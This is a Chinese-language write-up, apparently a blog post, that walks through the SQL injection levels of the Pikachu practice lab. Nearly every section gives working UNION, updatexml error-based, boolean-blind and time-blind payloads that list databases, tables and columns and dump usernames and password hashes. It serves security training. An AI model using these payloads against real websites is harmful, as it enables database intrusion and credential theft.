搭建问题就不多说了,参考这篇文章:pikachu[皮卡丘]靶场的介绍与搭建

0x00 介绍

在pikachu(皮卡丘)—Sql Inject(SQL注入)靶场中有下面类型:

  • 数字型注入(post)
  • 字符型注入(get)
  • 搜索型注入
  • xx型注入
  • "insert/update"注入
  • "delete"注入
  • "http header"注入
  • 盲注(base on boolian)
  • 盲注(base on time)
  • 宽字节注入

0x01 通关

下面我们就开始进入pikachu(皮卡丘)—Sql Inject(SQL注入)靶场的通关之路了

这里不会非常详细的去写,如果有不懂的可以查看我前面的文章

SQL注入基础

数字型注入(post)

1.分析

首先分析下发现它是根据我们选择查询的不同userid会显示出不同用户的信息

然后我们用burp抓包看看

发现发送的数据包里面有一个id值,所以猜想后台应该是通过将这个id值代入数据库中查询,所以这里可能存在注入

2.注入判断

于是我们先加个反斜杠测试一下,可以看到报了sql错误

然后分别测试id=2-1和id=1发现是查询出来的是同一个userid的信息

然后作出判断:

3.判断注入类型

根据测试存在下面注入:

  • union注入:其实当看到有结果回显这种都有
  • 报错注入(双查询注入)
  • 布尔和时间盲注

4.注入过程

这么多注入方式当然选简单的了,这里就用union注入演示把,不会的可以看文章:SQL注入【五】——union注入

a.判断字段数

用order by 判断出字段数为2

b.判断回显点

好家伙,这里查询的两条记录都显示出来了,一般靶场都是只显示一条,就要我们把前面的值替换成不存在的或者用limit控制显示哪一条,这里两条结果都显示的话就不用了

可以看出回显点在两个字段都可以

c.获取基础信息

当前数据库用户权限:root@localhost 确定能否跨库查询,提权的权限

当前数据库版本:5.7.26 确定是否有information_schema和文件上传这些

当前数据库名:pikachu

d.查询所有数据库

只有当当前数据库用户为root权限或者当前数据库用户有多个数据库的权限时才可以

id=3 union select 1,(select group_concat(schema_name)from information_schema.schemata)

e.查询指定数据库表名

id=3 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database())

f.查询指定表下的字段名

id=3 union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')

g.查询指定表下的所有数据

id=3 union select 1,(select group_concat(id,username,password,level) from users)

字符型注入(get)

1.分析

这里是让用户根据用户名查询指定信息

我们用burp抓包发现在请求包头部有我们用户输入的值

所以猜想后台应该是通过将这个id值代入数据库中查询,所以这里可能存在注入

2.注入判断

反手就是将用户加入的值来一个反斜杠

然后猜测这里是字符型,因为用户名是由各种字符串组成的

根据测试发现是由单引号包裹

3.判断注入类型

根据测试存在下面注入:

  • union注入:其实当看到有结果回显这种都有
  • 报错注入(双查询注入)
  • 布尔和时间盲注

4.注入过程

因为这里如果没有正确用户名的话不好判断字段数,所以这里就用报错注入演示把

c.获取基础信息

当前数据库用户权限:root@localhost 确定能否跨库查询,提权的权限

当前数据库版本:5.7.26 确定是否有information_schema和文件上传这些

当前数据库名:pikachu

d.查询所有数据库

只有当当前数据库用户为root权限或者当前数据库用户有多个数据库的权限时才可以

name=wuyin'+and+updatexml(1,concat(0x7e,(select+group_concat(schema_name)+from+information_schema.schemata),0x7e),2)--+

e.查询指定数据库表名

name=wuyin'+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),2)--+

f.查询指定表下的字段名

name=wuyin'+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),2)--+

g.查询指定表下的所有数据

name=wuyin'+and+updatexml(1,concat(0x7e,(select+group_concat(id,username,password,level)+from+users),0x7e),2)--+

搜索型注入

1.判断注入类型

根据测试存在下面注入:

  • union注入:其实当看到有结果回显这种都有
  • 报错注入(双查询注入)
  • 布尔和时间盲注

2.注入过程

c.获取基础信息

当前数据库用户权限:root@localhost 确定能否跨库查询,提权的权限

当前数据库版本:5.7.26 确定是否有information_schema和文件上传这些

当前数据库名:pikachu

d.查询所有数据库

只有当当前数据库用户为root权限或者当前数据库用户有多个数据库的权限时才可以

name=wuyin'+and+updatexml(1,concat(0x7e,(select+group_concat(schema_name)+from+information_schema.schemata),0x7e),2)--+

e.查询指定数据库表名

name=wuyin'+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),2)--+

f.查询指定表下的字段名

name=wuyin'+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),2)--+

g.查询指定表下的所有数据

name=wuyin'+and+updatexml(1,concat(0x7e,(select+group_concat(id,username,password,level)+from+users),0x7e),2)--+

xx型注入

1.判断注入类型

根据测试存在下面注入:

  • 报错注入(双查询注入)
  • union注入
  • 布尔和时间盲注
  • 注入类型为字符型且参数为 ‘)包裹

2.注入过程

c.获取基础信息

当前数据库用户权限:root@localhost 确定能否跨库查询,提权的权限

当前数据库版本:5.7.26 确定是否有information_schema和文件上传这些

当前数据库名:pikachu

d.查询所有数据库

只有当当前数据库用户为root权限或者当前数据库用户有多个数据库的权限时才可以

name=wuyin')+and+updatexml(1,concat(0x7e,(select+group_concat(schema_name)+from+information_schema.schemata),0x7e),2)--+

e.查询指定数据库表名

name=wuyin')+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),2)--+

f.查询指定表下的字段名

name=wuyin')+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),2)--+

g.查询指定表下的所有数据

name=wuyin')+and+updatexml(1,concat(0x7e,(select+group_concat(id,username,password,level)+from+users),0x7e),2)--+

"insert/update"注入

1.分析

一开始还以为和之前的用户表是同一个,后面才发现这是一个新的表

测试发现登录框无注入,但是有注册用户,登陆后有修改用户信息功能

这里会试试注册用户那里有没有insert注入,和修改用户信息那里有update注入

1.判断注入类型

测试发现注册用户的每个参数都存在insert注入

修改信息处的每个参数也都存在update注入

注册用户处

c.获取基础信息

当前数据库用户权限:root@localhost 确定能否跨库查询,提权的权限

当前数据库版本:5.7.26 确定是否有information_schema和文件上传这些

当前数据库名:pikachu

d.查询所有数据库

只有当当前数据库用户为root权限或者当前数据库用户有多个数据库的权限时才可以

username=' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),2)or '

e.查询指定数据库表名

username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),2) or '

f.查询指定表下的字段名

username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),2) or '

g.查询指定表下的所有数据

username=' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from users),0x7e),2) or '

修改信息处

c.获取基础信息

当前数据库用户权限:root@localhost 确定能否跨库查询,提权的权限

当前数据库版本:5.7.26 确定是否有information_schema和文件上传这些

当前数据库名:pikachu

d.查询所有数据库

只有当当前数据库用户为root权限或者当前数据库用户有多个数据库的权限时才可以

sex=' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),2)or '

e.查询指定数据库表名

sex=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),2) or '

f.查询指定表下的字段名

sex=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),2) or '

g.查询指定表下的所有数据

sex=' or+updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from users),0x7e),2) or '

"delete"注入

1.分析

这是一个留言板,并且可以删除留言

然后在删除留言时用burp抓包,可以看到是get型传参

测试参数为数字型

2.判断注入类型

  • 报错注入且为数字型

c.获取基础信息

当前数据库用户权限:root@localhost 确定能否跨库查询,提权的权限

当前数据库版本:5.7.26 确定是否有information_schema和文件上传这些

当前数据库名:pikachu

d.查询所有数据库

只有当当前数据库用户为root权限或者当前数据库用户有多个数据库的权限时才可以

id=56+and+updatexml(1,concat(0x7e,(select+group_concat(schema_name)+from+information_schema.schemata),0x7e),2)

e.查询指定数据库表名

id=56+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),2)

f.查询指定表下的字段名

id=56+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),2)

g.查询指定表下的所有数据

id=56+or+updatexml(1,concat(0x7e,(select+group_concat(id,username,password,level)+from+users),0x7e),2)
这里把or换成and一样可以

这里要注意注入语句不能出现空格,用+拼接

"http header"注入

1.分析

这里有提示账号密码,登陆

然后看到一堆来自你的http header的信息,一般这种都是获取你的头信息然后插入到这里,所以在测试时就得考虑是不是inset注入

并且这里的ip地址处没法注入,所以只能测试User-Agent和Accept

2.判断注入类型

经测试User-Agent和Accept均存在注入

  • insert注入
  • 报错注入且为字符型

3.User-Agent:处注入

c.获取基础信息

当前数据库用户权限:root@localhost 确定能否跨库查询,提权的权限

当前数据库版本:5.7.26 确定是否有information_schema和文件上传这些

当前数据库名:pikachu

d.查询所有数据库

只有当当前数据库用户为root权限或者当前数据库用户有多个数据库的权限时才可以

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),2)or '

e.查询指定数据库表名

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),2)or '

f.查询指定表下的字段名

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),2)or '

g.查询指定表下的所有数据

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from users),0x7e),2)or '

3.Accept处注入

c.获取基础信息

当前数据库用户权限:root@localhost 确定能否跨库查询,提权的权限

当前数据库版本:5.7.26 确定是否有information_schema和文件上传这些

当前数据库名:pikachu

d.查询所有数据库

只有当当前数据库用户为root权限或者当前数据库用户有多个数据库的权限时才可以

Accept: ' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),2)or '

e.查询指定数据库表名

Accept: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),2)or '

f.查询指定表下的字段名

Accept: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),2)or '

g.查询指定表下的所有数据

Accept: ' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from users),0x7e),2)or '

盲注(base on boolian)

1.分析

看着跟之前的搜索型没啥区别,但是经测试发现报错注入已经不能够让其报错,看源代码可以知道其实是使用过滤

但是这里我们会发现有两个提示:1是输入存在的用户名会显示该用户信息,输入不存在的则会提示用户不存在

2.注入类型判断

  • 为单引号包裹的字符型
  • 布尔盲注
  • 时间盲注

3.注入过程

下面注入代码中如果是不存在的用户名要把用户名后后面查询语句的and换成or

a.获取当前数据库名

先判断当前数据库长度

name=allen'+and+(length(database())=7)+--+

可知数据库长度为7

然后获取数据库第一位

name=allen'+and+(ord(mid(database(),1,1))=112)+--+

可以看到数据库第1位ascii码为112,转成字符就是:p

通过控制ord()里面的数值来控制截取的地方,然后依次获取第二位直到第七位,合起来就是: pikachu

也可以用burp的爆破功能来一次性获取全部:
利用burpsuite进行半自动盲注

这里可以看到一次性就爆破出来了,之所以大写的可以是应为我的搭建环境为Windows,对大小写不敏感

b.获取当前数据库下表名

判断当前数据库下表名个数

allen'+and+((select+count(table_name)+from+information_schema.tables+where+table_schema=database())=5)--+
# 注意如果不知道用户名就用or,但是如果使用一个存在的用户则不能用or
allen'+or+((select+count(table_name)+from+information_schema.tables+where+table_schema=database())=5)--+

成功查询出结果,所以可知当前数据库下表名有5个

获取第一个表名

# 统计第一个表名长度
allen'+and+((select+length(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1)=8)--+
#获取第一个表名的第一个字母
allen'+and+(mid((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))='h'
# 然后是第二个字母。。。。然后第二个字段。。。以此类推,所有表名为httpinfo,member,message,users,xssblind

c.获取指定表下的字段

# 以users为例
# 先统计当前表下有几个字段
allen'+and+((select+count(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name="users")=4)--+
# 获取第一个字段长度
allen'+and+((select+length(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name="users"+limit+0,1)=2)--+
# 爆破第一个字段
allen'+and+((select+mid(column_name,1,1)+from+information_schema.columns+where+table_schema=database()+and+table_name="users"+limit+0,1)="i")
allen'+and+((select+mid(column_name,2,1)+from+information_schema.columns+where+table_schema=database()+and+table_name="users"+limit+0,1)="d")--+
# 爆破第二个
。。。。。。
以此类推,所有字段名为id,username,password,level,

d.获取指定字段下的值

# 统计users表下值的个数
allen'+and+((select+count(username)+from+users)=3)--+
# 这里获取id合leverl没意义,所以直接获取username和password
# 统计第一个user长度
allen'+and+((select+length(username)+from+users+limit+0,1)=5)--+
# 获取第一个username的值
allen'+and+((select+mid(username,1,1)+from+users+limit+0,1)="a")--+
allen'+and+((select+mid(username,1,1)+from+users+limit+0,1)="d")--+
allen'+and+((select+mid(username,1,1)+from+users+limit+0,1)="m")--+
allen'+and+((select+mid(username,1,1)+from+users+limit+0,1)="i")--+
......
# 获取第一个password的长度
allen'+and+((select+length(password)+from+users+limit+0,1)=32)--+
# 获取第一个password的值
allen'+and+((select+mid(password,1,1)+from+users+limit+0,1)="e")--+
。。。。。。。

盲注(base on time)

1.分析

这里就跟提示的那样:i don't care who you are!(我不在乎你是谁),输入什么都提示一样的,所以这里布尔盲注就不能用了

2.注入类型判断

  • 为单引号包裹的字符型
  • 时间盲注

3.注入过程

下面注入代码中如果是不存在的用户名要把用户名后后面查询语句的and换成or

a.获取当前数据库名

# 统计当前数据库长度
allen'+and+if(length(database())=7,sleep(3),1)--+
# 获取当前数据库名
allen'+and+if(mid(database(),1,1)='p',sleep(3),1)--+
allen'+and+if(mid(database(),1,1)='i',sleep(3),1)--+
allen'+and+if(mid(database(),1,1)='k',sleep(3),1)--+
allen'+and+if(mid(database(),1,1)='a',sleep(3),1)--+
allen'+and+if(mid(database(),1,1)='c',sleep(3),1)--+
allen'+and+if(mid(database(),1,1)='c',sleep(3),1)--+
allen'+and+if(mid(database(),1,1)='u',sleep(3),1)--+

b.获取当前数据库下表名

# 统计当前数据库下表名个数
allen'+and+if((select+count(table_name)+from+information_schema.tables+where+table_schema=database())=5,sleep(3),1)--+
# 获取第一个表名的长度
allen'+and+if((select+length(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1)=8,sleep(3),1)--+
# 获取第一个表名
allen'+and+if((mid((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))='h',sleep(3),1)--+

# 然后是第二个字母。。。。然后第二个字段。。。以此类推,所有表名为httpinfo,member,message,users,xssblind

c.获取指定表下的字段

# 统计具体字段个数
allen'+and+if((select+count(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name="users")=4,sleep(3),1)--+
# 获取第一个字段长度
allen'+and+if((select+length(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name="users"+limit+0,1)=2,sleep(3),1)--+
# 获取第一个字段
allen'+and+if((select+mid(column_name,1,1)+from+information_schema.columns+where+table_schema=database()+and+table_name="users"+limit+0,1)="i",sleep(3),1)--+
allen'+and+if((select+mid(column_name,1,1)+from+information_schema.columns+where+table_schema=database()+and+table_name="users"+limit+0,1)="d",sleep(3),1)--+
# 爆破第二个
。。。。。。
以此类推,所有字段名为id,username,password,level,

d.获取指定字段下的值

# 统计users表下值的个数
allen'+and+if((select+count(username)+from+users)=3,sleep(3),1)--+
# 这里获取id合leverl没意义,所以直接获取username和password
# 统计第一个user长度
allen'+and+if((select+length(username)+from+users+limit+0,1)=5,sleep(3),1)--+
# 获取第一个username的值
allen'+and+if((select+mid(username,1,1)+from+users+limit+0,1)="a",sleep(3),1)--+
allen'+and+if((select+mid(username,1,1)+from+users+limit+0,1)="d",sleep(3),1)--+
.....
# 获取第一个password的长度
allen'+and+if((select+length(password)+from+users+limit+0,1)=32,sleep(3),1)--+
# 获取第一个password的值
allen'+and+if((select+mid(password,1,1)+from+users+limit+0,1)="e",sleep(3),1)--+

宽字节注入

这里有点问题就不演示了

可以参考这篇文章:SQL注入进阶之1宽字节注入攻击(Pikachu漏洞练习平台)

太难了,终于写完了?

0x0x 报错注入时数据获取不全解决

关于上面数据获取不全的问题可以查看这篇文章:关于报错注入获取数据不全问题解决


一个热爱技术的白帽子